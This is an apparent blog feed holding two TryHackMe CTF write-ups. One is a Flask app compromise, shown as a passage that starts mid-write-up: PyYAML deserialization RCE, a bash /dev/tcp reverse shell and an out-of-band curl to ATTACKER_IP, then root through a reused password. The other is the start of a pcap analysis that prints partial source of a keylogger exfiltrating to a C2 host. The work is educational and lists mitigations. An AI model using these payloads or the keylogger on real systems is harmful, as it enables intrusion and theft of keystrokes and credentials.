  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"password"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;A staff note left in the page source hands over demo credentials directly:&lt;br&gt;
&lt;code&gt;dj&lt;/code&gt; / &lt;code&gt;dj&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-L&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; cookies.txt http://&amp;lt;TARGET_IP&amp;gt;/login &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'username=dj&amp;amp;password=dj'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Logged in as &lt;code&gt;dj&lt;/code&gt;, landing on a "DJ booth" dashboard with &lt;code&gt;/dashboard&lt;/code&gt;,&lt;br&gt;
&lt;code&gt;/import&lt;/code&gt;, &lt;code&gt;/export&lt;/code&gt;, and &lt;code&gt;/logout&lt;/code&gt; links. The session cookie itself is a&lt;br&gt;
tell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ cat cookies.txt
session eyJ1c2VyIjoiZGoifQ.anFasg.OtavUIDXbkEQjqjuMSAZ-vaMu2E
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;eyJ1c2VyIjoiZGoifQ&lt;/code&gt; base64-decodes to &lt;code&gt;{"user":"dj"}&lt;/code&gt; — the standard&lt;br&gt;
&lt;code&gt;payload.timestamp.signature&lt;/code&gt; shape of a Flask &lt;code&gt;itsdangerous&lt;/code&gt;-signed&lt;br&gt;
session cookie. Confirms Flask before ever touching source code.&lt;/p&gt;
&lt;h2&gt;
  
  
  3. Finding the sink — playlist export/import
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="s"&gt;$ curl -b cookies.txt http://&amp;lt;TARGET_IP&amp;gt;/export&lt;/span&gt;
&lt;span class="c1"&gt;# Beach Bar jukebox playlist export&lt;/span&gt;
&lt;span class="na"&gt;playlist&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Sunset Session&lt;/span&gt;
  &lt;span class="na"&gt;vibe&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;golden hour&lt;/span&gt;
  &lt;span class="na"&gt;tracks&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;artist&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Khruangbin&lt;/span&gt;
      &lt;span class="na"&gt;title&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Maria&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;Tambien"&lt;/span&gt;
    &lt;span class="s"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;&lt;code&gt;/export&lt;/code&gt; dumps the current playlist straight from &lt;code&gt;yaml.dump()&lt;/code&gt;. The&lt;br&gt;
matching &lt;code&gt;/import&lt;/code&gt; page invites you to paste that YAML back in — the&lt;br&gt;
classic export/import-round-trip pattern that's worth checking for unsafe&lt;br&gt;
deserialization on the way back in.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;$ curl -b cookies.txt http://&lt;span class="nt"&gt;&amp;lt;TARGET_IP&amp;gt;&lt;/span&gt;/import
...
&lt;span class="nt"&gt;&amp;lt;form&lt;/span&gt; &lt;span class="na"&gt;method=&lt;/span&gt;&lt;span class="s"&gt;"post"&lt;/span&gt; &lt;span class="na"&gt;enctype=&lt;/span&gt;&lt;span class="s"&gt;"multipart/form-data"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;textarea&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"playlist"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"playlist"&lt;/span&gt; &lt;span class="err"&gt;...&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&amp;lt;/textarea&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;input&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"file"&lt;/span&gt; &lt;span class="na"&gt;id=&lt;/span&gt;&lt;span class="s"&gt;"playlist_file"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"playlist_file"&lt;/span&gt; &lt;span class="na"&gt;accept=&lt;/span&gt;&lt;span class="s"&gt;".yml,.yaml"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/form&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Two intake fields: &lt;code&gt;playlist&lt;/code&gt; (raw YAML text) and &lt;code&gt;playlist_file&lt;/code&gt; (file&lt;br&gt;
upload), posted as &lt;code&gt;multipart/form-data&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;
  
  
  4. Confirming unsafe YAML deserialization
&lt;/h2&gt;

&lt;p&gt;Sent a harmless &lt;code&gt;!!python/object&lt;/code&gt; tag — not a command-execution payload,&lt;br&gt;
just enough to see whether the loader would even attempt to construct a&lt;br&gt;
Python object from the tag:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt http://&amp;lt;TARGET_IP&amp;gt;/import &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s1"&gt;'playlist=playlist: !!python/object/new:str {state: [pwn]}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;h2&amp;gt;&lt;/span&gt;Loader error&lt;span class="nt"&gt;&amp;lt;/h2&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;pre&amp;gt;&lt;/span&gt;Could not load playlist: dictionary update sequence element #0 has length 3; 2 is required&lt;span class="nt"&gt;&amp;lt;/pre&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That error comes from &lt;em&gt;inside&lt;/em&gt; Python's object-construction logic, not&lt;br&gt;
from a "no constructor for this tag" rejection — meaning the app is not on&lt;br&gt;
&lt;code&gt;yaml.safe_load()&lt;/code&gt;. It's happily trying to instantiate arbitrary Python&lt;br&gt;
objects from user-supplied YAML.&lt;/p&gt;
&lt;h2&gt;
  
  
  5. RCE
&lt;/h2&gt;

&lt;p&gt;Confirmed with a blind OOB callback via &lt;code&gt;os.system&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt http://&amp;lt;TARGET_IP&amp;gt;/import &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s1"&gt;'playlist=playlist: !!python/object/apply:os.system ["curl http://&amp;lt;ATTACKER_IP&amp;gt;:4444/rce"]'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;nc &lt;span class="nt"&gt;-lnvp&lt;/span&gt; 4444
&lt;span class="go"&gt;listening on [any] 4444 ...
&lt;/span&gt;&lt;span class="gp"&gt;connect to [&amp;lt;ATTACKER_IP&amp;gt;&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt; from &lt;span class="o"&gt;(&lt;/span&gt;UNKNOWN&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt;&amp;lt;TARGET_IP&amp;gt;] 56058
&lt;span class="go"&gt;GET /rce HTTP/1.1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Confirmed RCE. Escalated straight to a reverse shell:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt http://&amp;lt;TARGET_IP&amp;gt;/import &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-F&lt;/span&gt; &lt;span class="s1"&gt;'playlist=playlist: !!python/object/apply:os.system ["bash -c \"bash -i &amp;gt;&amp;amp; /dev/tcp/&amp;lt;ATTACKER_IP&amp;gt;/4444 0&amp;gt;&amp;amp;1\""]'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;penelope &lt;span class="nt"&gt;-p&lt;/span&gt; 4444 listen
&lt;span class="gp"&gt;[+] [New Reverse Shell] =&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;10.49.149.75 Linux-x86_64 bartender&lt;span class="o"&gt;(&lt;/span&gt;1001&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="gp"&gt;bartender@tryhackme-2404:/opt/beach-bar/webapp$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="go"&gt;bartender
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Landed as &lt;code&gt;bartender&lt;/code&gt; (uid 1001), running out of &lt;code&gt;/opt/beach-bar/webapp&lt;/code&gt;&lt;br&gt;
— confirmed by later grepping the source that this is exactly what&lt;br&gt;
happened:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="s2"&gt;"yaml.load&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;exec&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;subprocess&lt;/span&gt;&lt;span class="se"&gt;\|&lt;/span&gt;&lt;span class="s2"&gt;os.system"&lt;/span&gt; /opt/beach-bar/webapp/
/opt/beach-bar/webapp/app.py:4:import yaml
/opt/beach-bar/webapp/app.py:95:            parsed &lt;span class="o"&gt;=&lt;/span&gt; yaml.load&lt;span class="o"&gt;(&lt;/span&gt;content, &lt;span class="nv"&gt;Loader&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;yaml.Loader&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;yaml.load(content, Loader=yaml.Loader)&lt;/code&gt; — the full, unsafe loader,&lt;br&gt;
exactly as suspected from the error message.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ cat /home/bartender/user.txt
THM{[REDACTED]}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  6. Privilege escalation — password reuse from a process argument
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;sudo -l&lt;/code&gt; failed (no password known yet), SUID/SGID enumeration and cron&lt;br&gt;
jobs turned up nothing exploitable. LinPEAS's process listing was the&lt;br&gt;
lead:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;root  612  ... /opt/beach-bar/venv/bin/python /opt/beach-bar/jukeboxd/jukeboxd.py --stream-pass SunsetSpritz2024! --bitrate 320k
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A streaming daemon running as root with its password passed as a CLI&lt;br&gt;
argument — visible to any local user via &lt;code&gt;ps aux&lt;/code&gt; or &lt;code&gt;/proc/&amp;lt;pid&amp;gt;/cmdline&lt;/code&gt;.&lt;br&gt;
Worth trying that same password for the actual &lt;code&gt;root&lt;/code&gt; account, since ops&lt;br&gt;
teams reusing a "throwaway" service password for real accounts is a&lt;br&gt;
common pattern:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;bartender@tryhackme-2404:/tmp$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;su root
&lt;span class="go"&gt;Password: SunsetSpritz2024!
&lt;/span&gt;&lt;span class="gp"&gt;root@tryhackme-2404:/tmp#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;whoami&lt;/span&gt;
&lt;span class="go"&gt;root
&lt;/span&gt;&lt;span class="gp"&gt;root@tryhackme-2404:/tmp#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /root/root.txt
&lt;span class="go"&gt;THM{[REDACTED]}
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Root, via straightforward credential reuse.&lt;/p&gt;

&lt;h2&gt;
  
  
  7. Bonus finding (out of scope of the intended path, but notable)
&lt;/h2&gt;

&lt;p&gt;LinPEAS's cloud enumeration section pulled live AWS EC2 instance-profile&lt;br&gt;
credentials off the IMDS endpoint (role &lt;code&gt;vulnerable-machine&lt;/code&gt;, temporary&lt;br&gt;
&lt;code&gt;AccessKeyId&lt;/code&gt;/&lt;code&gt;SecretAccessKey&lt;/code&gt;/session token). Worth flagging in a real&lt;br&gt;
engagement as a separate SSRF/IMDS-exposure finding even though it wasn't&lt;br&gt;
needed to reach root here — anything with local code execution on this box&lt;br&gt;
inherits whatever that IAM role can do in the account.&lt;/p&gt;




&lt;h2&gt;
  
  
  Key vulnerabilities
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;#&lt;/th&gt;
&lt;th&gt;Weakness&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Hardcoded/leftover default credentials&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;dj&lt;/code&gt;/&lt;code&gt;dj&lt;/code&gt; demo login left enabled and documented in an HTML comment.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Insecure deserialization&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;/import&lt;/code&gt; calls &lt;code&gt;yaml.load(content, Loader=yaml.Loader)&lt;/code&gt; instead of &lt;code&gt;yaml.safe_load()&lt;/code&gt;, allowing arbitrary Python object construction from user-supplied YAML → RCE via &lt;code&gt;!!python/object/apply:os.system&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Secrets in process arguments&lt;/td&gt;
&lt;td&gt;Root-owned &lt;code&gt;jukeboxd.py&lt;/code&gt; service started with &lt;code&gt;--stream-pass SunsetSpritz2024!&lt;/code&gt;, readable by any local user via &lt;code&gt;ps&lt;/code&gt;/&lt;code&gt;/proc&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;Password reuse&lt;/td&gt;
&lt;td&gt;The leaked service password was also the &lt;code&gt;root&lt;/code&gt; account password.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;(Bonus) IMDS credential exposure&lt;/td&gt;
&lt;td&gt;LinPEAS retrieved live IAM role credentials from the EC2 metadata service once on-box — no IMDSv2 token hop required in this environment.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Attack chain
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;HTML comment leaks demo creds (dj/dj)
        │
        ▼
Login → dashboard exposes /export + /import (YAML round-trip)
        │
        ▼
/import → yaml.load(Loader=yaml.Loader)  (confirmed via object-construction error)
        │
        ▼
!!python/object/apply:os.system [...]  →  RCE as bartender
        │
        ▼
ps aux reveals root process arg: --stream-pass SunsetSpritz2024!
        │
        ▼
su root (password reuse)  →  root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Mitigations
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Never ship demo/default credentials, even for a "soft opening" — remove
the account or gate it behind a feature flag that can't reach production.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;yaml.safe_load()&lt;/code&gt; (or &lt;code&gt;yaml.SafeLoader&lt;/code&gt;) for any YAML originating
from user input. If custom types are genuinely needed, use a restricted
loader with an explicit allowlist of constructors — never the default
full &lt;code&gt;Loader&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Never pass secrets as CLI arguments to long-running services; use
environment variables sourced from a secrets manager, or a file with
restrictive permissions instead — &lt;code&gt;ps&lt;/code&gt;/&lt;code&gt;/proc/&amp;lt;pid&amp;gt;/cmdline&lt;/code&gt; are world
readable by default on Linux.&lt;/li&gt;
&lt;li&gt;Enforce unique, non-reused credentials between service accounts and
privileged human accounts (e.g. via a password manager + rotation
policy), so a leaked service secret doesn't double as a root password.&lt;/li&gt;
&lt;li&gt;Enforce IMDSv2 (token-required) on the EC2 instance and scope the
attached IAM role to least privilege, so a foothold on the box doesn't
automatically hand over cloud-level credentials.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>ctf</category>
      <category>writeup</category>
      <category>tryhackme</category>
    </item>
    <item>
      <title>TryHackMe : Packed Light Writeup</title>
      <dc:creator>Yogeshwar Peela</dc:creator>
      <pubDate>Tue, 04 Aug 2026 04:06:29 +0000</pubDate>
      <link>https://dev.to/exploitnotes/tryhackme-packed-light-writeup-1n39</link>
      <guid>https://dev.to/exploitnotes/tryhackme-packed-light-writeup-1n39</guid>
      <description>&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;p&gt;A &lt;code&gt;.pcapng&lt;/code&gt; capture shows a victim host on &lt;code&gt;192.168.1.141&lt;/code&gt; downloading a Python&lt;br&gt;
keylogger (&lt;code&gt;updates.py&lt;/code&gt;) from an attacker-controlled "hotel update server" at&lt;br&gt;
&lt;code&gt;byte-lotus-hotel.thm:8080&lt;/code&gt; (&lt;code&gt;34.41.103.191&lt;/code&gt;). The script XOR-encrypts every&lt;br&gt;
keystroke with a hardcoded key, base64-encodes it, and exfiltrates it inside an&lt;br&gt;
HTTP &lt;code&gt;Cookie&lt;/code&gt; header on a GET request back to the same host. Replaying that&lt;br&gt;
XOR/base64 scheme against the 30 exfil requests in the capture recovers the&lt;br&gt;
flag.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Flag:&lt;/strong&gt; &lt;code&gt;THM{[REDACTED]}&lt;/code&gt;&lt;/p&gt;


&lt;h2&gt;
  
  
  1. Initial triage
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;capinfos traffic.pcapng
&lt;span class="go"&gt;Number of packets:   1348
Capture duration:    41.831541 seconds
Encapsulation in use by packets: Ethernet (1177), NULL/Loopback (171)
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Protocol hierarchy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tshark &lt;span class="nt"&gt;-r&lt;/span&gt; traffic.pcapng &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; io,phs
&lt;span class="go"&gt;eth
  ip
    tcp
      http    frames:62 bytes:37862
      tls     frames:228 bytes:133744
    udp
      ssdp, dns, quic
null (loopback)
  ip
    tcp
      data    frames:16 bytes:928
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Most of the capture is background noise — TLS to search engines, QUIC,&lt;br&gt;
Microsoft telemetry, SSDP. The interesting slice is the plaintext HTTP&lt;br&gt;
traffic to a non-standard host, so that's where I started.&lt;/p&gt;
&lt;h2&gt;
  
  
  2. Spotting the payload download
&lt;/h2&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tshark &lt;span class="nt"&gt;-r&lt;/span&gt; traffic.pcapng &lt;span class="nt"&gt;-Y&lt;/span&gt; http &lt;span class="nt"&gt;-T&lt;/span&gt; fields &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="go"&gt;  -e frame.number -e ip.src -e ip.dst \
  -e http.request.method -e http.request.uri \
  -e http.host -e http.response.code

16   192.168.1.141   34.41.103.191   GET   /temp/updates.py   byte-lotus-hotel.thm:8080
19   34.41.103.191   192.168.1.141                                              200
391  192.168.1.141   34.41.103.191   GET   /                  byte-lotus-hotel.thm:8080
...   [repeats ~30 more times, one GET / every second or so]
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;


&lt;p&gt;Frame 16 is a normal Chrome download (&lt;code&gt;User-Agent: ...Chrome/149.0.0.0...&lt;/code&gt;) of&lt;br&gt;
&lt;code&gt;/temp/updates.py&lt;/code&gt; from &lt;code&gt;byte-lotus-hotel.thm&lt;/code&gt; (resolves to &lt;code&gt;34.41.103.191&lt;/code&gt;).&lt;br&gt;
After that, starting at frame 391, the same source IP starts hammering &lt;code&gt;GET /&lt;/code&gt;&lt;br&gt;
on the same host roughly once per keypress, but with a different, custom&lt;br&gt;
&lt;code&gt;User-Agent&lt;/code&gt;. That pattern (one request per user action) screams keylogger&lt;br&gt;
exfil, so the first move was to pull &lt;code&gt;updates.py&lt;/code&gt; out of the stream:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight console"&gt;&lt;code&gt;&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tshark &lt;span class="nt"&gt;-r&lt;/span&gt; traffic.pcapng &lt;span class="nt"&gt;--export-objects&lt;/span&gt; http,./httpobjs
&lt;span class="gp"&gt;$&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cat &lt;/span&gt;httpobjs/updates.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pynput&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;keyboard&lt;/span&gt;

&lt;span class="n"&gt;C2_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://byte-lotus-hotel.thm:8080/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;getkey&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="n"&gt;p1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;H0t3lSt@ff0Nly&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="n"&gt;p2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;K3epS3cr3t!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;p1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;p2&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;xor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;sendltr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;character&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;raw_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;character&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
